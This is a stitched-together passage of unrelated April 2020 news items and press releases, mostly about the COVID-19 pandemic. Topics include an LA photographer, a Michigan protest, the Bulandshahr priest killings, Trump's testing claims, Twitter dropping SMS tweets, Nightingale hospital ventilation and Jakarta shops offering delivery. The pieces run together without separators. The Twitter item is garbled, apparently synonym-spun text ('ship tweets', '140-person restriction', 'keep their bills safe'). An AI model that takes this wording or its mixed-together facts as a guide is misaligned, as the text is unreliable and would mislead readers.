online exhibition for Instagram titled "Shelter in Place." "To be able to still be doing this is great," Cardenas says. "In a way, this has always been my life: stay home, do a few things, make a few pictures. Then the next day, do it again Groundhog Day." What follows are images from a few days in the life of L.A. as seen by Cardenas. February 17, 2020 "February 17, 2020 Faces, Yvonnie and Jairo, Santa Monica" by Rafael Cardenas (Rafael Cardenas) Cardenas often sets limitations for himself, maybe shooting only in color or only in black and white. In February, he focused exclusively on color portraiture. On this day, he captured a couple of kids hanging out at the Santa Monica Pier. He says he was drawn by their magnetism. "For this series," he says, "I was just asking for a quick pic and moving on." March 7, 2020 "March 7, 2020 Tacos served here" by Rafael Cardenas (Rafael Cardenas) His February portraits represented the last time Cardenas was able to regularly photograph people up close and in color. By March, he had switched to black and white. The changeover occurred as the news began to get darker: The state of Washington declared a state of emergency and coronavirus infections were beginning to mushroom around the Bay Area. At this point, his imagery grew more solemn, capturing this string of lights marking a taco truck. "Not sure where I was mentally at this point," he says. "Maybe just foreboding." March 11, 2020 "March 11, 2020 Daily Perspective" by Rafael Cardenas. (Rafael Cardenas) On March 11, the day the World Health Organization declared COVID-19 a pandemic and L.A. County announced its first known death in connection with the virus, Cardenas snapped a photo of the downtown skyline from his backyard. "I don't typically do the skyline that you hang by your motivational quotes," he explains. But that day he remembers "looking at the city with a different weight." April 1, 2020 "April 01, 2020 Purple Reign" by Rafael Cardenas (Rafael Cardenas) After shooting black and white for the entire month of March, Cardenas went back to color. "I was dying to get some color in my feed," he says. "I was making myself depressed. I really wanted to post something that had nothing to do with this pandemic." He found his shot in South Pasadena: a woman in a purple car waiting for the Gold Line to pass. "I love this shot because of how happy it made me to have color that day." April 9, 2020 "April 9, 2020 Mesa, mesa, mes' aqui no se sienta" by Rafael Cardenas. (Rafael Cardenas) As the weeks have progressed, Cardenas has borne witness to a city that has gone inside itself. Shuttered gates. Closed doors. Empty sidewalks. At this fast food joint in Alhambra, he captured the pattern of caution tape strung over the dining area. Besides leaving the house to photograph, he and his girlfriend go out to walk the dog sometimes traveling to parks in different neighborhoods so that they can see something new. It was on one of those excursions that he spied the taped-up tables. April 19, 2020 "April 19, 2020 La enorme distancia" by Rafael Cardenas. (Rafael Cardenas) At the moment, when Cardenas photographs people, he does so at a distance as if the pandemic were forcing a certain aesthetic. The last few weeks have seen the increasing presence of masks, such as the ones worn by a pair of itinerant musicians sitting on a street corner in Boyle Heights. "The title ['La enorme distancia'] is from a song that is easily on their repertoire from Jose Alfredo Jimenez," Cardenas says of the musicians. "At a distance" is the phrase in English photography for the age of social distancing. The modular, agile SaaS solution is available to Vendavo customers on a free trial basis for 6 months to help with the current market disruption and resulting economic challenges Disruptions in supply and demand and other dynamic market factors are wreaking havoc and B2B enterprises continue to struggle to pinpoint the business impact to the bottom line. To help companies understand and explain the business implications of change, Vendavo, a leading provider of commercial excellence solutions, today launched Vendavo Margin Bridge Analyzer (VMBA). VMBA is a powerful, cloud-based commercial intelligence solution that enables B2B enterprises to accurately measure and monitor the business impact of complex changes in prices, volumes, product mix, and other dynamic market factors including currency fluctuations. Unlike traditional manual and spreadsheet driven approaches, VMBA delivers a highly scalable, automated and more accurate approach to better meet the price, volume, mix analysis requirements of large enterprises. "Large enterprises that sell millions of SKUs to tens of thousands of customers have countless variables," said Bruno Slosse, President and CEO, Vendavo. "Manual, spreadsheet driven processes simply can't scale to this purpose. They are inflexible to the different performance insights often needed by leadership including a top-line view, by business unit, a regional look or even by product line. Actionable insights are difficult to discern, and inaccuracies are often widespread." Automated and configurable dashboards can quickly aggregate disparate data into holistic and seamless views that continuously meet an organization's unique business requirements. Powerful data insights allow for improved decision making faster at a time when it's never been more critical. "Variations in change across your pricing, costs, volumes and more are always difficult to reconcile to the bottom line," Slosse said. "That's especially true today, with change now serving as our new normal. To navigate out of these challenging times, it's important to make smart decisions quickly." To support Vendavo customers that need better visibility for faster, smarter decision making across their business performance, Vendavo is offering VMBA at no cost for six months. With a modern, cloud-based architecture, VBMA is an automated, secure, scalable, and agile SaaS solution that can be up and running in as little as 24 hours. Analyses are done with a 'click not code' configuration and build-your-own templates so organizations can quickly identify under-performing business areas. Supporting resources: Join the May 13 webcast, Introducing VMBA: Taking Control of Your Margin Through Actionable Insights Read the blog post, Understand the Business Impact of Change with Vendavo Margin Bridge Analyzer Watch the VMBA demo Learn more at Vendavo.com About Vendavo Vendavo powers the shift to digital business for the world's most demanding B2B companies, unlocking value, growing margin and accelerating revenue. With the Vendavo Commercial Excellence platform, companies develop dynamic customer insights and optimal pricing strategies that maximize margin, boost sales effectiveness and improve customer experience. With an annual margin improvement totaling more than $2.5 billion across companies in chemicals, distribution, high-tech and manufacturing, Vendavo delivers cutting-edge analytics and deep industry expertise that help companies stay one step ahead. Vendavo is headquartered in Denver, CO, and has offices around the globe. Learn more at Vendavo.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005292/en/ Contacts: Media contact: Kim Doyle Kimberly Communications 319.389.6953 kb@kimberlycommunications.com UPDATE: Protest over Michigans state of emergency to go on, despite Facebook removing 2 events The Facebook event page for an upcoming protest against extending Michigans state of emergency was deleted by Facebooks staff for defying the governments guidance on social distancing. Protesters plan to gather Thursday morning, April 30, outside the Michigan State Capitol building and call on legislators not to extend the state of emergency, which gives Gov. Gretchen Whitmer and her administration additional executive authority to respond to the coronavirus pandemic. A Facebook event titled Rally on the State Capitol Lawn" was created earlier this month to organize the April 30 protest, which is slated for 9 a.m. to 2 p.m. in downtown Lansing. The protests event page was taken down by Facebooks staff, according to a company spokesperson who said events that defy governments guidance on social distancing arent allowed on Facebook. Facebook will remove content that advocates for in-person gatherings that defy health guidance, as well as claims that discourage treatment or taking appropriate precautions, according to a spokesperson. The April 30 event was reported to the company, which triggered a content review. A spokesperson for Facebook said reports to the company are anonymous by rule and Facebook does not report the identity of a complainant. We reached out to state officials to understand the scope of their orders, not about removing specific protests on Facebook, the spokesperson said in an email to MLive. We remove the posts when gatherings do not follow the health parameters established by the government and are therefore unlawful. In states like Michigan where social distancing is required for protests during the COVID-19 crisis, Facebook requires protests organized on its site to make clear calls for social distancing. The social media platform has also removed posts on anti-stay-at-home protests in California, New Jersey and Nebraska, according to a report by CNN. Organizers of the April 30 rally in Lansing have created a second event page after the original events removal last week -- American Patriot Rally on Capital Lawn. Its scheduled for the same time on the same day as the previous event. Jason Howland, one of the organizers, said the message remains the same. Participants want legislators to vote No on the Gov. Gretchen Whitmers request to extend the state of emergency declaration, which expires April 30. Whitmer is asking for lawmakers to approve a 28-day extension to the COVID-19 state of emergency. This is not a Republican rally, Democrat rally or a Trump rally, its a rally for American patriots to stand for freedom!" reads the events description. Organizers have been in contact with Lansing city and police department staff regarding the protest. Robert Merritt, public information director for the Lansing Police Department, said police will actively monitor the situation and take enforcement when appropriate and within consideration of officer safety and resource allocations at the time." Regarding precautions to prevent the spread of COVID-19, Howland said it remains up to each individual on if they want to wear a mask and/or maintain six feet of separation from other protesters. Public health officials have said social distancing, which includes keeping six feet of separation from other people outside your home and avoiding groups and crowded places, is key to preventing the spread of COVID19. The respiratory virus has infected at least 38,210 people in Michigan, of which 3,407 have died. Howland said the previous event page reached 3,500 people who said they were interested in attending the rally. The new page had around 565 interested people as of Tuesday morning. Earlier this month, the Michigan Conservative Coalition and Michigan Freedom Fund hosted Operation Gridlock" to protest the governors stay-at-home order. Most participants remained in their vehicles during the April 15 rally, but dozens left their vehicles -- many of whom were not wearing masks. Gov. Whitmers latest stay-at-home order requires masks that cover the mouth and nose be worn in any enclosed public space by anyone who can medically tolerate wearing a mask. Masks can be homemade, a scarf, bandana or handkerchief. Whitmer did say there are no charges associated with not wearing a mask, however businesses may refuse service to anyone not wearing a mask in an enclosed space. Attempts by MLive to contact the governors office regarding the April 30 protest have been unsuccessful. CORONAVIRUS PREVENTION TIPS In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus. Health officials say you should be staying at least 6 feet away from others and working from home, if possible. Carry hand sanitizer with you, and use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home ( door handles, faucets, countertops) and when you go into places like stores. Read more on MLive: Whitmer extends order loosening scope of practice laws for health care workers Michigan businesses urged to apply quickly as new round of Paycheck Protection Program begins One million people in Michigan have received unemployment benefits since mid-March Daily life grinds to a halt with empty streets, a rising death toll as coronavirus lays siege to Detroit Two priests of a Shiva temple in Bulandshahrs Pagauna village were found murdered on Tuesday morning. Hours later, the police said it had arrested a youth in connection with the case. We have arrested Murari aka Raju, a Dalit man, on charges of killing two priests. The accused is a habitual drug (bhang) addict. He has confessed to his crime and described the killing as Bhagwan ki Ichchha (wish of God), said Atul Kumar Chaube, circle officer of Anoopshahar police area. The accused had no enmity with the sadhus but a few villagers claimed he had an altercation with them over a chimta (tongs) which was stolen a day before. The bodies of Jagdish aka Rangidas, 55, and his disciple Sher Singh, 46, have been sent for the postmortem. A wooden staff was used in the killing and no cut wounds were found on bodies. The accused has confessed that he used a wooden staff to kill the sadhus, said Bulandshahr district magistrate Ravindra Kumar. Chief minister Yogi Adityanath has sought a detailed report from senior officials . Village head Dinesh Kumar said the polices version is unreliable as the bodies bore cut wounds, which appeared to have been inflicted by some sharp-edged weapon. Local Vishwa Hindu Parishad leaders also did not find the police claims convincing. Can a drug addict kill two middle-aged sadhus using a wooden staff? asked VHP leader Rajkumar Dunger while accusing the police of diverting the issue by dragging a Dalit into it. The incident comes more than a week after two sadhus and their driver were lynched by a mob outside Gadhchinchale village, 110 kilometre from Palghar in Maharashtra. They were attacked on the suspicion of being child-lifters. The opposition leaders attacked the ruling BJP over the incident. Congress general secretary in charge of UP, Priyanka Gandhi Vadra and Samajwadi Party chief Akhilesh Yadav said the case should not politicised. Maharashtra chief minister Uddhav Thackeray spoke to Yogi, expressing his concern. Donald Trump said the United States soon would be able to test 5 million people a day for coronavirus, and claimed his administration has done an incredible job dealing with the coronavirus outbreak in New York state despite at least 17,600 deaths there. Were going to be there very soon ... Were really doing ... a great job on testing, the president told reporters following an event at the White House, which replaced his daily evening Covid-19 briefing. Making another bold claim, he predicted testing guidance he announced on Monday evening will allow his administration to increase it by much more than that in the very near future, saying vaguely were going to an even higher number. In another bold move, the president suggested some localities seeking federal coronavirus help might have to ease or remove their sanctuary city policies. Such cities or municipalities have laws that allow illegal immigrants to stay free from prosecution or deportation despite federal laws. Wed have to talk about things like sanctuary cities, as an example. I think sanctuary cities is something that has to be brought up where people who are criminals are protected, they are protected from prosecution, Mr Trump said during an earlier event on Tuesday. He repeated the mantra later in the East Room. I think that has to be done. I think its one of the problems that the states have, Mr Trump said, signalled another desired this-for-that proposal, the kind that got him impeached over his request Ukraines leader investigate former Vice President Joe Biden and son Hunter Biden. I dont even think they know they have a problem, but they have a big problem with the sanctuary situation. The president and his new communications team in recent days have signalled a new strategy. Though he delivered a coronavirus press conference on Monday, they say he wont do them as often and the ones he does do might look differently. Yet, he seems unable to resist. Along with the Monday briefing, the president took a list of questions during a meeting earlier Tuesday in the Oval Office with GOP Florida Governor Ron DeSantis. And he turned the back half of the small business event into a mini-press conference. As usual, it featured a number of bold claims and big predictions. Were doing a job the likes of which no one has ever seen, he said of his administration at one point. There have been at least 57,600 Covid-19 deaths on US soil and over 1 million confirmed cases. Experts say both figures are likely higher. In New York, what we did was incredible, the boaster in chief said. But although Democratic New York Governor Andrew Cuomo has recently had more praise for Mr Trump on helping the Empire State obtain ventilators, he has sharply criticised the president over testing. Mr Cuomo contends the federal government has not done enough. Testing wont work if its impossible to get. Testing wont work if its too hard to get, the New York leader said recently. Mr Trump, defying his top public health officials who were not with him during the afternoon event to field questions from reporters also was back to predicting the virus would soon disappear. This is going to go away, said. But Anthony Fauci, his top infectious disease adviser, said bluntly last week: We will have coronavirus in the fall. The president on Tuesday didnt seem so sure, however, the latest instance of Mr Trump contradicting one of his most widely respected health officials. Whether it comes back in the fall, were going to be able to put it out in spurts, he said. On that, at least, he and Mr Fauci are in agreement. The federal governments top infectious disease official last week also said the US would be in a much better position to locate, isolate and perhaps even treat the drug should it return in the fall. The president made those claims as he took questions during an event celebrating small businesses who have benefited from a loan program funded by two Covid-19 relief bills that passed Congress with overwhelmingly bipartisan vote tallies before Mr Trump signed them into law. Asked how he can be so sure the coronavirus will soon go away, Mr Trump did not offer a scientific explanation: It will go down to zero. On testing, he also flashed his seeming obsession with the size of things for the second time in the day. Were testing. Were doing more testing than any other country by far, he said following a spat with a Yahoo! reporter who incorrectly stated earlier in the day that South Korea still led the United States on tests given on a per capita (of population) scale. Much, much more testing. Double. After that Yahoo! journalist admitted his mistake and apologised on Twitter, Mr Trump made sure to note the error and apology during the later event. Mr Trump, who appeared to spend much of his briefing-free weekend watching cable news coverage of the outbreak and his governments response while angrily tweeting about it, revealed his obsession with the media. As the small business event got started, he said he would take questions because he calculated, incorrectly, that reporters would be nicer to him if small business owners and employees were in the room. (Photo : REUTERS/Mike Blake/Illustration/File Photo) FILE PHOTO: The Twitter App loads on an iPhone in this illustration photograph taken in Los Angeles, California, U.S., July 22, 2019. Twitter has officially turned off a feature that allows users to ship tweets through text messages following a spate of hacks affecting numerous users worldwide. That means you can no longer use Twitter via text messages. READ ALSO: Flight Attendants are Now Asking the US Government to Halt All Airline Travel Due to the Coronavirus The move won't be a big deal for the vast majority of Twitter users who could access the social media platform through the app or website. Chirping complaints However, there are already complaints from some individuals who still used SMS to examine tweets, The Verge reported. One business, DansDeals, said it relied on the feature to alert users to sales. "We're taking this step because of vulnerabilities that need to be addressed by mobile carriers," Twitter said in one of a series of tweets. The move mostly marks the end of an era for Twitter: when the provider launched, it was built for SMS. The character limit was increased to allow tweets with 280 characters, according to Endgadget. Its original 140-person restriction was tailor-made to text message sizes, and you were intended to ship and get hold of new tweets completely over SMS. That hasn't been the primary way to use Twitter for a long time, though, as more humans sold smartphones and will use the mobile app. ALSO READ: Illegal chirping: Spammy text messages get Twitter in trouble "We turned off the remainder of our Twitter via SMS feature." The social media platform temporarily suspended the feature last year after Mr. Dorsey's Twitter account was filled with a series of tweets containing erratic and racist statements. Twitter promptly disabled sending tweets through SMS for all but "some locations." The Wall Street Journal said a phone number associated with Mr. Dorsey's account was compromised and attributed the security oversight to a cell provider, which it declined to name. This current update also stated to be about helping "human beings keep their bills safe," in line with a Twitter spokesperson. It's not completely clear what the danger is when receiving tweets in place of sending them; however, Twitter has been curious about phasing this option out for a while now. If humans receive tweets over SMS, it can't display commercials to them, so it'd much as a substitute have human beings checking the app. "We turned off the remainder of our Twitter via SMS feature, except for a few countries that rely on it to use Twitter," the Twitter spokesperson told The Verge. However, the social media platform will still send "important SMS messages" for securing accounts, like authentication codes. ALSO READ: Happy 8th birthday Twitter - How a micro-blogging site evolved into a social revolution How your account could be hacked through mobile phones Some analysts say hackers have determined methods to quickly get enough information to persuade a telecom provider to transfer from the target account to a fraudster's account. In particular, these could be sent to databases with personal information and would be sold at the so-called "dark web." R David Edelman, a former White House adviser who heads a cybersecurity research center at the Massachusetts Institute of Technology, told The Economic Times that mobile accounts' text messages can be hijacked by hardware techniques. Through 'social engineering,' Edelman said your Twitter could also be hacked by convincing a mobile provider to migrate your account to another, unauthorized phone. "It only takes a few minutes of confusion to make mischief like Dorsey experienced," he explained. READ ALSO: COVID-19 Update: 9 People Infected Because of Air-Conditioning; Don't Use AC, Experts Say 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Source: Xinhua| 2020-04-28 17:02:59|Editor: huaxia Video Player Close Technicians refit an airliner at Taikoo (Shandong) Aircraft Engineering Company Limited (STAECO) in Jinan, east China's Shandong Province, April 27, 2020. The COVID-19 pandemic has led to a significant decrease in airline travel and passenger revenue. Since its production recovered on Feb. 10, STAECO has been offering Passenger-to-Freighter (PTF) solutions for airline operators which need more cargo planes to address this market change. So far, the company has accomplished three PTF conversions for its clients. (Xinhua/Zhu Zheng) OTTAWAProminent Conservative MP Michelle Rempel Garner has been working remotely from Oklahoma in the midst of the COVID-19 pandemic. Rempel Garner said she traveled to Oklahoma where her husband and stepchildren live on an unexpected and urgent private personal matter before Canada and the U.S. imposed travel restrictions at the border. In a statement to the Star, Rempel Garner said she has been in constant contact with Conservative party whip Mark Strahl, and the party has advised her to shelter-in-place and work remotely like other MPs. (I am) reevaluating the situation on a daily basis, and continue with my duties remotely, given that there are no physical events in either Calgary or Ottawa that I can regularly attend due to COVID-19 isolation guidelines, (or) party mandates on MP attendance, Rempel Garner wrote, noting that she has informed her constituents of her whereabouts. I did not travel to the U.S. purposely to be with my family during the COVID-19 crisis I have never allowed my personal life to interfere with my service to my community. The Calgary-Nose Hill MP and former cabinet minister added that while working remotely, she has been writing policy, assisting constituents, advocating for changes to the Liberal governments emergency pandemic supports, and recently virtually participated in a meeting of the House of Commons industry committee. Prime Minister Justin Trudeau announced on March 18 that Canada and the U.S. would shut the border to non-essential travel for 30 days. The agreement was renewed for a second 30-day period earlier this month, as the two countries struggle to contain the COVID-19 outbreak. When asked if the border closure had left her stranded, Rempel Garner said that the situation remains fluid and difficult given the reduction in airline operations. (But) I could, and will, drive, when advised to do so by my party whip or once it is clear that I can resume in-person duties in Calgary, Rempel Garner said. My family understands that our specific circumstance means that when this happens, we likely won't see each other for an extended period of time, but we also understand the nature of my responsibilities. Rempel Garner said she already has fully compliant plans in place for a 14-day quarantine once she can return to Alberta. A special COVID-19 committee of MPs is scheduled to meet virtually on Tuesday the first of a new House of Commons schedule that includes two online sessions and one in-person meeting of a handful of MPs each week. Oklahoma Governor Kevin Stitt announced plans to re-open the states economy last week, indicating that the state had successfully flattened the curve. Beginning May 1, restaurants, sporting venues, gyms, movie theatres and places of worship will be permitted to re-open as long as they follow certain precautions, according to local NBC affiliate KFOR. Oklahoma has reported 3,280 cases of COVID-19, including 197 deaths. Alberta has not yet detailed plans on re-opening, and most recently reported 4,696 confirmed cases including 75 deaths. Read more about: Vehicles travel in a traffic jam during rush hour, amid concerns about the spread of COVID-19 in Seoul, April 27, 2020. Reuters The number of South Koreans who changed residences to a different region fell in March, data showed Tuesday, amid the coronavirus pandemic that led to strict social distancing guidelines. The number of people who changed their residences declined 9.4 percent last month from a year earlier to 766,000, according to the data compiled by Statistics Korea. Compared with a month earlier, however, the number climbed 19.4 percent, the data showed. The population mobility rate the number of those changing residences for every 100 people fell 1.5 percentage points to 17.6. The ventilation systems installed in large, open-plan buildings such as the coronavirus-specific Nightingale hospitals may be helping the virus linger in the air for longer, posing an increased risk to the frontline NHS heroes working there. University of Cambridge academics studied how pre-existing air conditioning systems in large buildings affect the distribution of microscopic droplets called aerosols. Previous research has found coronavirus can be passed from person to person via such droplets. Scientists discovered turbulent air currents are created by the 'top-down' ventilation systems which allows droplets from COVID-19 patients to drift through the air. These currents increase how long the particles are in the air and it was found it can take 20 minutes for the concentration of the virus-harbouring particles to be reduced by 90 per cent. Because they particles are so small and light they can therefore spread up to 65 feet (20 metres) during this time, the study revealed. Pictured, a handout photo showing the inside of Nightingale Hospital in Harrogate, North Yorkshir. University of Cambridge academics studied how pre-existing air conditioning systems in large buildings with evenly-spaces vents on the ceiling such as in the Nightingale hospitals impact distribution of tiny droplets called aerosols. Pictured, how the University of Cambridge scientists suggest setting up a ward in the Nightingale hospitals to prevent the spread of coronavirus via aerosols in the air Pictured, a model of the current layout of the Nightingale hospitals, and other large spaces that have been turned into COVID-19 specialist wards. The yellow dye represents air currents produced by 'top-down' ventilation systems which allows air to mix Pictured, a water tank model showing what happens when a patient coughs (red dye) in a ward with the air currents from air conditioning systems (yellow dye). The aerosols can spread across bays and even across corridors Five of the seven Nightingales have opened, including Bristol yesterday, with Sunderland and Exeter yet to come online. The NHS could move all coronavirus patients there to clear Covid-19 from permanent hospitals A spokeswoman for NHS England told PA news agency that the findings are 'nonsense'. They say: 'Every patient in the Nightingale Hospital is there because they already have Covid-19, and all staff working on wards wear PPE so they are fully protected.' However, the researchers did find the ventilation system creates a 'a slowly refreshing miasma', through which staff must walk and work. The University of Cambridge scientists suggest making simple, low-tech modifications to reduce the airborne spread of coronavirus. Professor Andrew Woods, of Cambridge's BP Institute (BPI), and Professor Alan Short, of the department of architecture, developed a series of practical solutions. They found that dividing the floor plan into several smaller areas, called 'enclosed patient zones', would help. These would be approximately 172 square feet (16 metres square) and contain around 10-20 beds apiece. Each bed would then be flanked by solid partitions almost 10ft (3m) high and polythene sheeting would form a makeshift ceiling. The seams should be taped up to prevent air seeping in and out, the researchers add. Air should then be drawn through the back of the individual patient bays by an outflow ventilation duct, removing infected particles. The researchers did find the ventilation system creates a 'a slowly refreshing miasma', through which staff must walk and work. However,placing barriers between beds and installing extraction vents for each bed can restrict the spread. Pictured, a model showing what happens when a COVID-19 patent coughs (red dye) with the suggested measures in place Pictured, the red dye which represents infected air particles, is restricted mainly to the patient's own area and swiftly extracted into a safe area where it cannot harm healthcare workers. the extraction vents would expel air into designated corridors away from people The number of new cases continued to rise in the latest data, but the rate has slowed significantly The number of people in hospital with coronavirus in London has fallen but the figures across much of the rest of the country have not dropped sharply yet MPs call for elderly coronavirus patients in care homes to be treated in empty Nightingale hospitals Elderly coronavirus patients in care homes should be evacuated to the empty Nightingale hospitals, MP demanded yesterday. At least 7,500 elderly residents have died from coronavirus amidst warnings that the virus was a potential disaster for the caring sector. Labour's shadow minister for care and older people, Liz Kendall, is urging the Government not to waste any more time and to use empty Nightingale hospitals to stop the virus spreading among 500,000 residents and staff. Ms Kendall said: 'We have to provide alternative care. There's a real urgent need to look at any spare capacity there is at facilities like the Nightingale hospitals to see if they can care for residents. 'Care home staff are being asked to do extraordinary things. They're very skilled - but we need to make sure that care homes are not turned into hospices because that's not what they are there for.' Advertisement The air sucked out from the wards would be sent into 'dirty corridors', which would connect all bays. Staff would avoid these corridors and instead use designated 'clean corridors'. The added layer of protection would work in conjunction with pre-existing precautions and PPE, not replace it, the researchers say. The expelled air helps limit the amount of circulating aerosol particles and also provides a clean corridor space for healthcare workers. Tautvydas Karitonas, Research and Development Manager for Inivos, an expert in how technology can be used to combat infections diseases such as COVID-19, told MailOnline: 'The Nightingale Hospitals are an incredible feat of determination and engineering to have been adapted so quickly in order to meet the healthcare demands that the current pandemic presents. 'Although this means there will be some unavoidable differences in how the space looks and functions, there is no reason that staff would be at any additional risk of exposure to the virus provided they have the appropriate personal protective equipment and the space is regularly and thoroughly decontaminated. 'This is why it is so essential that an adequate supply of disposable PPE is available and any PPE that is being reused is thoroughly decontaminated. 'Hydrogen peroxide vapour (HPV), for example, is an automated decontamination solution which could be used after each use of PPE, regardless of whether it is designed to be reused or is being reused as an interim measure to tackle shortages. 'The risk of exposure to traces of the virus on surfaces can also be minimised by regularly deep-cleaning empty beds and wards, in line with infection prevention protocol, but also with either hydrogen peroxide or UV-C light technology, which work by breaking down the outer layer of the virus and destroying the genetic material within. 'Many hospitals and clinical environments already use automated decontamination technology to effectively combat COVID-19 and other infection concerns such as C.difficile.' The recommendations from the Cambridge scientists are based on laboratory experiments that tested ventilation systems for two basic arrangements of beds. One involves placing hundreds of beds in an open hall with low-level partitions while the other sees beds within the suggested enclosed patient bays. The inspiration from the latter came from wards used to treat tuberculosis. In the completely open version, ventilation air moves down to the ground and spreads out over the patient beds, leading to a highly mixed environment. The researchers found that in the enclosed bays, the ventilation flow still comes down from the ceiling and moves into the patient bed-spaces and mixes. However, a good proportion of this air is removed through exhaust ducts located behind the beds. When a patient lying in bed produces aerosols, the concentration in their bay remains high. But, crucially, the majority of this air is drawn out through the exhaust duct, limiting how far it can spread. In a video accompanying the research, the researchers state: 'In a large hall, airflows mix up the airborne aerosols all too efficiently and disperse them through the space across patients and, perhaps more significantly, nurses and healthcare workers. 'A small measure such as the installation of part-enclosed patient bays with exhaust ducts can help reduce this dispersion.' The research, which has not been peer-reviewed, was carried out in collaboration with the Interdisciplinary Research Centre in Infectious Diseases, University of Cambridge. COLLEGE PARK, Md., April 28, 2020 /PRNewswire/ -- For University of Maryland student Charles Grody, it was a toilet flush (or two...or three) that led to a lightbulb moment. "We've all experienced using a public restroom when all of a sudden the toilet flushes automatically without us being finished yet," Grody said. "I wondered how much water went to waste because of it." Fueled by this curiosity, Grody partnered with fellow A. James Clark School of Engineering seniors Jack Sturtevant and Tuvia Rappaport, and Robert H. Smith School of Business senior Roger Mao to create Hydraze, an improved automatic flushing system for use in commercial buildings that aims to eliminate "phantom flushing" and save millions of dollars in wasted water. The team took a large step toward that goal on April 22, 2020 by securing the $15,000 grand prize at the Pitch Dingman Competition, UMD's annual "Shark Tank"-style business event. The team also took home the audience choice award. The competition, now in its 10th year, is hosted by the Dingman Center for Entrepreneurship at the Robert H. Smith School of Business. Initially scheduled for early March, the competition was postponed and eventually moved online in compliance with the coronavirus outbreak restrictions. Despite the change, more than 350 students, faculty, alumni and guests tuned in on Zoom to watch teams vie for $30,000 in seed funding. "Our mission is to make entrepreneurs of all kinds more successful, and our Dingman Center team remained committed to providing students with a spotlight to pitch their ideas," said Holly DeArmond, Dingman's managing director. "To our entrepreneurs: Your hustle, perseverance and resilience are to be commended." As in previous years, Pitch Dingman applications opened at the start of the academic year, with a late-September quarterfinals phase where alumni entrepreneurs selected 10 semifinalists. In the November semifinals, the field was narrowed to five finalists. At Wednesday's finals, a panel of judges composed of entrepreneurs and innovators assessed each startup's current level of success, plan for using the funds and overall growth potential. Hydraze, the water conservation company whose automatic flushes are prompted not by a motion sensor, but a mechanism on the latch of the bathroom stall's door, plans to use the Pitch prize money for marketing and development. The event's other winners include: $7,500 Second Prize: AlgenAir, a startup founded by Daniel Fucich and Kelsey Abernathy , a doctoral student at the University of Maryland, Baltimore , featuring an algae-powered air purifier called the aerium that removes dust and allergens from the air and produces as much oxygen as 25 houseplants. Second Prize: AlgenAir, a startup founded by and , a doctoral student at the , featuring an algae-powered air purifier called the aerium that removes dust and allergens from the air and produces as much oxygen as 25 houseplants. $3,500 Third Prize: Door Robotics, a drone with Roomba-like autonomy featuring an integrated virtual reality camera system and easy out-of-the-box software for hobbyists and experts alike, created by public health sciences senior Josh Ermias . Also pitching in the finals were BraceLint, a single-use, patent-pending version of a lint-roller that offers more portability for on-the-go needs, produced by Daniel Raithel and SweetsbyCaroline, a catering business launched by Caroline Ta, that specializes in French macarons, cakes and customizable baked goods. BraceLint and SweetsbyCaroline were each awarded $1,000 for "pandemic perseverance." David Quattrone, co-founder and CTO of CVENT, and wife Robyn, accompanied by credit union SECU and Parsons Ventures, donated to help fund the competition. Quattrone also served as a judge for the competition. He was joined by Matt Fishlinger, founder & COO, Gramercy Risk Holdings; Aurelia Flores, founder & CEO, Perfect Digital Connect; Tom Parsons, president of Parsons Ventures, Inc.; Angela Singleton, director of TEDCO Builder Fund; and Becky Smith, EVP, chief strategy and marketing officer at SECU. About the University of Maryland's Robert H. Smith School of Business The Robert H. Smith School of Business is an internationally recognized leader in management education and research. One of 12 colleges and schools at the University of Maryland, College Park, the Smith School offers undergraduate, full-time and part-time MBA, executive MBA, online MBA, specialty masters, PhD and executive education programs, as well as outreach services to the corporate community. The school offers its degree, custom and certification programs in learning locations in North America and Asia. Contact: Greg Muraski at [email protected] SOURCE University of Maryland's Robert H. Smith School of Business Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Tue, April 28, 2020 16:12 624 fc6853813033f564188675f8bd4bc0d8 1 Lifestyle fashion,fashion-brand,coronavirus,#coronavirus,COVID-19,#COVID19,malls,lifestyle Free A number of fashion and lifestyle brands have adjusted their operations to cater to their customers under large-scale social restrictions in cities across the country. Below is a list of brands that offer home delivery services: MAP Lifestyle company PT Mitra Adiperkasa (PT MAP) is offering a Fashion From Home program, which allows customers to shop without any physical interaction. Customers will be connected to its staff via WhatsApp and their desired items will be delivered to their doors. Discounts of up to 50 percent are also available. PT MAP holds the licenses for numerous international brands in Indonesia, including Calvin Klein Jeans, Marks & Spencer, Zara, Mango, Stradivarius and Lacoste. The full list of brands and their contacts is available on their online catalogue. Kate Spade New York For those who want a bit of Kate Spade New York's quirky touches, their home delivery service is available. Customers can shop online and they will be guided by a muse (Kate Spade New Yorks shopping advisor) through +6281293035070 (WhatsApp) or e-mail at katespadeid@kanmogroup.com. Customers will then receive further information about the products. Curated gifts will be given to those whose purchase is above Rp 5 million. Cashbacks and a free delivery service are available throughout Indonesia. Kate Spade New York also offers a wide array of bags as the highlight of its Spring 2020 collection. With City Safari as the theme, the collections color palette spans from olive green to lemon sorbet alongside white, black and brown. The collection consists of handbags, jewelry, ready-to-wear products, sleepwear and footwear. You can view the catalogue here. Longchamp Though the Longchamp boutique at Plaza Indonesia, Central Jakarta, is temporarily closed, the brand still serves customers via WhatsApp through +6287877273125. Its latest collection can be seen here. Bvlgari Luxury brand Bvlgari announced via Plaza Senayans Instagram that it is providing a home delivery service. Customers can contact its client advisor at +6285772995411 (WhatsApp). Cartier French jewelry and timepiece brand Cartier is offering a shop-from-home program through its Plaza Indonesia branch. Customers can contact the brands advisor at +6281398981845 (WhatsApp) from 11 a.m. to 6 p.m. from Mondays to Sundays. Read also: [UPDATED] Jakarta hotels gear up for Ramadan with stay experience, delivery service Atmos Sneakerheads and streetwear enthusiasts can now shop for their favorite items at Atmos online with the Japanese retailer now providing delivery services. Visit Atmos website or contact their staff via WhatsApp at +6282223338909 to place your order. Same-day delivery for areas within Jakarta is available. Timberland American outdoor-wear brand Timberland is catering to its customers online. See the brands latest collection by following their Instagram or contact their WhatsApp number for further assistance at +6282135136432, +6282135353230 or +6287786693520 from 11 a.m. to 8 p.m. Discounts of up to 40 percent are offered. The North Face Those who want to shop for active-wear and outdoor gear from The North Face can visit the brands Instagram to find its latest collection. Contact the staff for more information via WhatsApp numbers +6289621181228, +6281298611412 or +6285921534115 from 11 a.m. to 8 p.m. Discounts of up to 40 percent are available as part of Ramadan. Gingersnaps The newest childrenswear collection of 